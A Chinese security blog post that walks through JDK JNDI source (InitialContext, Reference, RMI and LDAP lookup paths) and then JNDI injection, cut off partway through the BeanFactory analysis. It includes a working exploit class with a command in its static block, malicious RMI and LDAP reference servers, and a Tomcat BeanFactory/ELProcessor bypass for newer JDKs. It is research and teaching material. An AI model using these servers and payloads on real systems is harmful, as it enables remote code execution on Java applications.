JNDI
java提供的命名和目录服务系统接口,命名服务简单理解就是键值对绑定,将对象和提供的名字绑定起来,查询名字就可以调用对应的对象;目录服务(比如域中涉及的LDAP)就是高级一点的命名服务,通过目录对象进行查询,目录对象相较于其他对象的不同点在可以将属性和对象相关联
一些服务协议:
RMI:Java远程方法协议,用于远程调用编程接口,可以调用远程服务器上的java对象
LDAP:不多说了,域内查询常用
DNS:不多说了
CORBA:公共对象请求代理体系结构,针对硬软件之间交互
一个简单的绑定LDAP Demo,其他协议基本同理,执行代码基本相同,只需要根据情况配置env
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;
public class JndiTest {
public static void main(String[] args) throws NamingException {
String url = "";
String username = "";
String password = "";
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://" + url + ":389");
env.put(Context.SECURITY_PRINCIPAL, username);
env.put(Context.SECURITY_CREDENTIALS, password);
env.put(Context.SECURITY_AUTHENTICATION, "simple");
InitialContext context = new InitialContext(env);
}
}
|
网上的原理文章烂大街了,分析一下源码(这边采用高版本jdk进行分析)
InitialContext
用于初始化上下文,分析一下源码
有三个构造方法,不传参数默认不执行初始化,如果传入Hahstable构建的env,则将env传入init进行初始化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
protected InitialContext(boolean lazy) throws NamingException {
if (!lazy) {
init(null);
}
}
public InitialContext() throws NamingException {
init(null);
}
public InitialContext(Hashtable<?,?> environment)
throws NamingException
{
if (environment != null) {
environment = (Hashtable)environment.clone();
}
init(environment);
}
|
跟进init看一下,调用ResourceManager.getInitialEnvironment对env进行操作,跟进看了一下,做了一些预处理,然后赋值给属性myProps,现在myProps就是包含环境变量的Hashtable
1
2
3
4
5
6
7
8
9
10
11
|
protected void init(Hashtable<?,?> environment)
throws NamingException
{
myProps = (Hashtable<Object,Object>)
ResourceManager.getInitialEnvironment(environment);
if (myProps.get(Context.INITIAL_CONTEXT_FACTORY) != null) {
// user has specified initial context factory; try to get it
getDefaultInitCtx();
}
}
|
几个重要的方法使用如下
1
2
3
|
lookup() // 检索命名对象
bind() // 名称绑定到对象上
list() // 枚举命名上下文绑定的名称以及对象类名
|
lookup、bind、rebind等常用方法都通过调用getURLOrDefaultInitCtx,有两个方法,根据传入参数进行返回,最终都是执行NamingManager.getURLContext,根据myProps也就是不同的类型(ldap、rmi等)获取相应的Context实例,传入name有问题或为空则调用getDefaultInitCtx直接返回defaultInitCtx初始上下文
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
protected Context getURLOrDefaultInitCtx(String name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
String scheme = getURLScheme(name);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
return getDefaultInitCtx();
}
protected Context getURLOrDefaultInitCtx(Name name)
throws NamingException {
if (NamingManager.hasInitialContextFactoryBuilder()) {
return getDefaultInitCtx();
}
if (name.size() > 0) {
String first = name.get(0);
String scheme = getURLScheme(first);
if (scheme != null) {
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null) {
return ctx;
}
}
}
return getDefaultInitCtx();
}
|
跟进getURLContext,直接调用getURLObject,所以直接跟进
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public static Context getURLContext(String scheme,
Hashtable<?,?> environment)
throws NamingException
{
// pass in 'null' to indicate creation of generic context for scheme
// (i.e. not specific to a URL).
Object answer = getURLObject(scheme, null, null, null, environment);
if (answer instanceof Context) {
return (Context)answer;
} else {
return null;
}
}
|
这个过程会重新根据传入的schema(也就是解析url后的协议名)去获取对应的factory,所以如果传入的name可控并且传入完整url,那么即使已经构造好url,也会调用我们传入的url(分析到这里差不多就知道了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
private static Object getURLObject(String scheme, Object urlInfo,
Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
// e.g. "ftpURLContextFactory"
ObjectFactory factory = (ObjectFactory)ResourceManager.getFactory(
Context.URL_PKG_PREFIXES, environment, nameCtx,
"." + scheme + "." + scheme + "URLContextFactory", defaultPkgPrefix);
if (factory == null)
return null;
// Found object factory
try {
return factory.getObjectInstance(urlInfo, name, nameCtx, environment);
|
测试一下,这边构造了一个连接LDAP的context并初始化,但传入测试的rmi url,调试一下可以发现获取到的factory为rmi对应的工厂类
Reference
Reference类提供了JNDI中的引用功能
根据JNDI的实现,为了将Java对象绑定到像RMI或者LDAP这些命名目录上,可通过序列化来将特定状态下的对象转换成字节流进行传输和存储。但并不总是可以绑定对象的序列化状态,因为对象可能太大或不符合要求。
出于这样的考虑,JNDI定义了“命名引用”(Reference)的概念。可以创建一个Reference,它和要绑定的对象相关联,这样就只需要将对象的Reference绑定到命名目录服务上,而不用绑定原本的对象。
命名目录服务的客户端在查询到Reference时,会根据Reference的信息还原得到原本绑定的对象,如果Reference中提供的信息时工厂类以及加载地址,那客户端就会去对应的地址加载Java字节码进行构造和执行
也就是说Reference解决了绑定对象过大的问题,可以通过引用存储少量的信息,并且可以根据引用类的类型作出不同的操作
看一下Reference的源码
同样提供了不同的构造方法满足各种需求,除了要创建引用的类名,还可以传入地址、factory(创建对象的类的类名)、facotryLocation(创建对象的类的位置),传入后封装在对象中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
public Reference(String className) {
this.className = className;
addrs = new Vector<>();
}
public Reference(String className, RefAddr addr) {
this.className = className;
addrs = new Vector<>();
addrs.addElement(addr);
}
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
public Reference(String className, RefAddr addr,
String factory, String factoryLocation) {
this(className, addr);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
|
RMI
RMI是Java的远程调用协议,底层传输依赖序列化和反序列化
简单写一个rmi Demo
Test interface
1
2
3
4
5
6
7
8
|
package rmi.server;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Test extends Remote {
String test() throws RemoteException;
}
|
Server
TestImpl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
package rmi.server;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class TestImpl extends UnicastRemoteObject implements Test {
protected TestImpl() throws RemoteException {
}
@Override
public String test() throws RemoteException {
return "i am rmi server test!";
}
}
|
RMIServer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
package rmi.server;
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
public static void main(String[] args) throws Exception {
TestImpl test = new TestImpl();
InitialContext ctx = new InitialContext();
LocateRegistry.createRegistry(1099);
ctx.bind("rmi://127.0.0.1/test", test);
System.out.println("RMI server bind at 127.0.0.1:1099...");
}
}
|
Client
JndiTest
1
2
3
4
5
6
7
8
9
10
11
12
|
package org.example;
import javax.naming.InitialContext;
import rmi.server.Test;
public class JndiTest {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
Test test = (Test) ctx.lookup("rmi://127.0.0.1:1099/test");
System.out.println(test.test());
}
}
|
实现后我们也会发现有如下需要注意的地方:
server和client调用类需要使用同一接口,接口要继承Remote
被暴露的类需要继承UnicastRemoteObject
分析一下调用链(直接上高版本
跟进lookup进入我们上面分析过的InitialContext#lookup
1
2
3
|
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
|
继续跟进,getURLOrDefaultInitCtx获取到rmiURLContext,执行其父类GenericURlContext#lookup方法,其中ctx为RegistryContext,res.getRemainingName获取test
继续向下,跟进到RegistryContext#lookup,调用registry.lookup,其中registry为RegistryImpl_Stub,这块再向下RegistryImpl_Stub#lookup就是stub - skeleton通信过程,获取到的对象赋值给obj
跟进,decodeObject,分析一下,首先判断传入的r是否为远程的引用对象并赋值给obj,继续向下,创建Reference实例ref,进行判断,如果远程获取到的是Reference对象,那么就传给ref(用于解析Reference),向下,进行了一个判断,主要是判断trustURLCodebase,顾名思义,是否相信远程url代码库(这个点后续讲),然后调用NamingManagerHelper.getObjectInstance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
private Object decodeObject(Remote r, Name name) throws NamingException {
try {
Object obj = (r instanceof RemoteReference)
? ((RemoteReference)r).getReference()
: (Object)r;
/*
* Classes may only be loaded from an arbitrary URL codebase when
* the system property com.sun.jndi.rmi.object.trustURLCodebase
* has been set to "true".
*/
// Use reference if possible
Reference ref = null;
if (obj instanceof Reference) {
ref = (Reference) obj;
} else if (obj instanceof Referenceable) {
ref = ((Referenceable)(obj)).getReference();
}
if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
return NamingManagerHelper.getObjectInstance(obj, name, this,
environment, ObjectFactoriesFilter::checkRmiFilter);
} catch (NamingException e) {
throw e;
} catch (RemoteException e) {
throw (NamingException)
wrapRemoteException(e).fillInStackTrace();
} catch (Exception e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
|
跟进NamingManagerHelper#getObjectInstance,同样也是进行判断是否为Reference类型,重点看下面这部分,判断如果Reference中classFactory属性不为空,进入后调用getObjectFactoryFromReference方法,名字猜一下应该是通过ref获得构造该引用类的,同时这里的factory为ObjectFactory类型,然后根据ref中的参数属性情况进行返回,如果不是Reference类则直接返回(非Reference类在这里结束
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment,
Predicate<Class<?>> factoryFilter) throws Exception {
...
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f, factoryFilter);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// That could happen if:
// - a factory class is not in a class path and reference does
// not contain a URL for it
// - a factory class is available but object factory filters
// disallow its usage
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
|
跟进getObjectFactoryFromReference,首先会尝试使用当前的classloader加载,失败后获取获取的Reference实例的classFactoryLocation属性,也就是我们传入的加载地址,然后将获取的classFactory和classFactoryLocation传入helper.loadClass,最终返回的result为获取到的Class构建的实例(这也是为什么传入的恶意类中的代码块会被执行的原因
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName, Predicate<Class<?>> filter)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClassWithoutInit(factoryName);
// Validate factory's class with the objects factory serial filter
if (!filter.test(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
// Validate factory's class with the objects factory serial filter
if (clas == null || !filter.test(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
}
}
@SuppressWarnings("deprecation") // Class.newInstance
ObjectFactory result = (clas != null) ? (ObjectFactory) clas.newInstance() : null;
return result;
}
|
跟进loadClass,parent为当前上下文的ClassLoader(class加载流程不懂看另一篇文章),URLClassLoader.newInstance猜测是使用利用传入的getUrlArray解析后的ur和classLoader来得到url类的classLoader,传入loadClass,最后跟进到下面loadClass函数,调用forName获取Class并返回,这样如果远程调用Reference加载流程就清楚了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if (TRUST_URL_CODE_BASE) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl
= URLClassLoader.newInstance(getUrlArray(codebase), parent);
return loadClass(className, cl);
} else {
return null;
}
}
Class<?> loadClass(String className, boolean initialize, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, initialize, cl);
return cls;
}
|
跟进URLClassloader#newInstance,创建了一个匿名FactoryURLClassLoader实例并返回,FatoryURLLoader为URLClassLoader的子类,再往下跟踪这个上面的Class.forName最终跟踪到forName0(native)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public static URLClassLoader newInstance(final URL[] urls,
final ClassLoader parent) {
// Save the caller's context
@SuppressWarnings("removal")
final AccessControlContext acc = AccessController.getContext();
// Need a privileged block to create the class loader
@SuppressWarnings("removal")
URLClassLoader ucl = AccessController.doPrivileged(
new PrivilegedAction<>() {
public URLClassLoader run() {
return new FactoryURLClassLoader(null, urls, parent, acc);
}
});
return ucl;
}
|
所以简单来说在url中存放.class,classLoader会自动帮我们寻找,这也是为什么网上那些利用exp开个web服务放exp的class
流程分析下来会发现一个问题,就是decodeObject方法中如下这段代码,如果rmi调了一个Reference的话与此同时trustURLCodebase为false则一定会触发抛出错误
1
2
3
4
5
6
|
if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
|
实际上高版本的jdk对于jndi做了一些限制,如下:
JDK 6u45、7u21后java.rmi.server.useCodebaseOnly
默认为true,禁止利用RMI ClassLoader加载远程类
JDK 6u132、7u122、8u113开始com.sun.jndi.rmi.object.trustURLCodebase
和com.sun.jndi.cosnaming.object.trustURLCodebase
默认为false,默认禁止RMI和CORBA远程协议使用远程codebase
JDK 6u211、7u201、8u191开始com.sun.jndi.ldap.object.trustURLCodebase
默认为false,默认禁止LDAP协议使用远程codebase
其中第一条并不影响jndi注入,因为我们分析得知最终获取的远程类加载器为URLClassLoader
LDAP
做过域渗透比较多,ldap再熟悉不过,直接上代码分析
借用marchelsec中代码起了个ldap服务器
LDAPServer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
|
package jndi.server;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
String url = "http://127.0.0.1:8000/";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
|
与rmi大致相同,直接跟进到在GenericURLContext#lookup时获取的ctx为ldapCtx
继续向下跟进
最终跟进到LdapCtx#c_lookup,前面获取搜索结果answer,直接看然后做了简单的处理和判断,还是直接看decodeObject
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
protected Object c_lookup(Name name, Continuation cont)
throws NamingException {
cont.setError(this, name);
Object obj = null;
Attributes attrs;
try {
...
if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
// serialized object or object reference
obj = Obj.decodeObject(attrs);
}
if (obj == null) {
obj = new LdapCtx(this, fullyQualifiedName(name));
}
} catch (LdapReferralException e) {
...
} catch (NamingException e) {
throw cont.fillInException(e);
}
try {
return NamingManagerHelper.getDirObjectInstance(obj, name, this,
envprops, attrs, ObjectFactoriesFilter::checkLdapFilter);
} catch (NamingException e) {
throw cont.fillInException(e);
} catch (Exception e) {
NamingException e2 = new NamingException(
"problem generating object using object factory");
e2.setRootCause(e);
throw cont.fillInException(e2);
}
}
|
看一下传入的attrs,就是我们设计的一些属性
首先拿到javacodebase,也就是url,然后检查javaserialzeddata属性,我们没设置所以继续向下检查javaRemoteLocation属性,也没设置继续向下,取得objectClass,然后判断是不是Reference,进入decodeReference
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
static Object decodeObject(Attributes attrs)
throws NamingException {
Attribute attr;
// Get codebase, which is used in all 3 cases.
String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
try {
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
} else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// javaRemoteLocation attribute (RMI stub will be created)
if (!VersionHelper.isSerialDataAllowed()) {
throw new NamingException("Object deserialization is not allowed");
}
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
if (attr != null &&
(attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
return decodeReference(attrs, codebases);
}
return null;
} catch (IOException e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
|
跟进decodeReference,顾名思义解析Reference的位置,前面取到几个属性后和rmi一样调用getURLClassLoader
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
private static Reference decodeReference(Attributes attrs,
String[] codebases) throws NamingException, IOException {
Attribute attr;
String className;
String factory = null;
if ((attr = attrs.get(JAVA_ATTRIBUTES[CLASSNAME])) != null) {
className = (String)attr.get();
} else {
throw new InvalidAttributesException(JAVA_ATTRIBUTES[CLASSNAME] +
" attribute is required");
}
if ((attr = attrs.get(JAVA_ATTRIBUTES[FACTORY])) != null) {
factory = (String)attr.get();
}
Reference ref = new Reference(className, factory,
(codebases != null? codebases[0] : null));
/*
* string encoding of a RefAddr is either:
*
* #posn#<type>#<address>
* or
* #posn#<type>##<base64-encoded address>
*/
if ((attr = attrs.get(JAVA_ATTRIBUTES[REF_ADDR])) != null) {
String val, posnStr, type;
char separator;
int start, sep, posn;
Base64.Decoder decoder = null;
ClassLoader cl = helper.getURLClassLoader(codebases);
...
|
进入getURLClassLoader,如上面所说,添加了trustURLCodebase参数验证
再往下进入newInstance后就与rmi后续的流程基本相同,最终使用URLClassLoader加载codebase中的class
JNDI注入
其实上面分析高版本之后分析的都大差不差了
直接放低版本jdk的exp(mac注意127.0.0.1 localhost
低版本
Exp.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Exp implements ObjectFactory {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
|
RMI low version exp
分析Reference时我们知道,Reference对象并没有实现Remote接口也没有继承UnicastRemoteObject类,所以这里需要使用ReferenceWrapper封装一下
RMIServer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package jndi.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "Exp", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
ctx.bind("rmi://127.0.0.1:1099/test", reference);
System.out.println("RMI server bind at 127.0.0.1:1099...");
}
}
|
JndiTest
1
2
3
4
5
6
7
8
9
10
11
12
|
package org.example;
import javax.naming.InitialContext;
public class JndiTest {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/test");
}
}
|
LDAP low version exp
用的marshalsec中代码改一下即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
|
package jndi.server;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*
*/
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) {
String url = "http://127.0.0.1:8000/#Exp";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exp");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
|
JndiTest
1
2
3
4
5
6
7
8
9
10
11
12
|
package org.example;
import javax.naming.InitialContext;
public class JndiTest {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
ctx.lookup("ldap://127.0.0.1:1389/test");
}
}
|
高版本
由于jdk高版本的几个参数,致使默认情况下jndi不会从远程的codebase读取类,这边分析一下网上的一些绕过思路
BeanFactory
绕过原理就是调用本地Tomcat中的BeanFactory作为Factory
注意:复现起来有问题,会有报没有org.apache.el.ExpressionFactoryImpl,javax.el.ExpressionFactory在tomcat的EL调用的是tomcat的org.apache.el.ExpressionFactoryImpl,org.apache.el包已经不支持了,而且高版本Tomcat已经修复了forceString的问题
RMIServer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
package jndi.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;
public class RMIServer {
public static void main(String[] args) throws Exception {
InitialContext ctx = new InitialContext();
LocateRegistry.createRegistry(1099);
// Reference reference = new Reference("Exp", null, "http://localhost:8000/");
// TestImpl test = new TestImpl();
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open', '-a', 'Calculator'].start())\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
ctx.bind("rmi://127.0.0.1:1099/test", referenceWrapper);
System.out.println("RMI server bind at 127.0.0.1:1099...");
}
}
|
分析一下怎么绕过的(jdk11
先看一下传入的ResourceRef类实例结构,classFacotryLocation为null,由此绕过,传入classFactory为BeanFactory,其中添加的参数在addrs中
继续向下看一下加载,进入NamingManager#getObjectInstance,跟进到这边获取factory
继续跟进,尝试利用loadClassWithoutInit获取factory,往下就是利用factoryName本地加载获取Class,最终拿到org.apache.naming.factory.Beanfactory Class
最终返回BeanFactory类实例
回到NamingManager#getObjectInstance,拿到factory BeanFactory后,执行BeanFactory#getObjectInstance,并且传入ref
跟进BeanFactory#getObjectinstance,有点长不全粘了一点一点看,首先判断传入ref类型ResourceRef,这也是为什么使用ResourceRef原因,然后取到ref中ClassName,即我们存入的javax.el.ELProcessor,然后取到ELProcessor类的Class
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
if (obj instanceof ResourceRef) {
